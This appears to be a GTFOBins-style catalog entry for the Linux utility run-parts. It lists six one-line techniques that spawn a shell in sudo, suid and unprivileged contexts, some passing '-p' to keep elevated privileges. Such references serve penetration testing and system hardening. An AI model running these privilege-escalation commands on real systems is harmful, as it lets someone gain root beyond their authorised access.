CatalogGTFOBins

GTFO · Tool

run-parts

6 techniquesLinuxGTFOBinsGPL-3.0

shell

ExecutionPrivilege EscalationLinux
run-parts --new-session --regex '^sh$' /bin
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux
run-parts --new-session --regex '^sh$' /bin --arg='-p'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
shell
MITRE
T1059

shell

ExecutionLinux
run-parts --new-session --regex '^sh$' /bin
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux
cp /bin/sh /path/to/temp-dir/
run-parts /path/to/temp-dir/
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux
cp /bin/sh /path/to/temp-dir/
run-parts /path/to/temp-dir/ --arg='-p'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
shell
MITRE
T1059

shell

ExecutionLinux
cp /bin/sh /path/to/temp-dir/
run-parts /path/to/temp-dir/
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059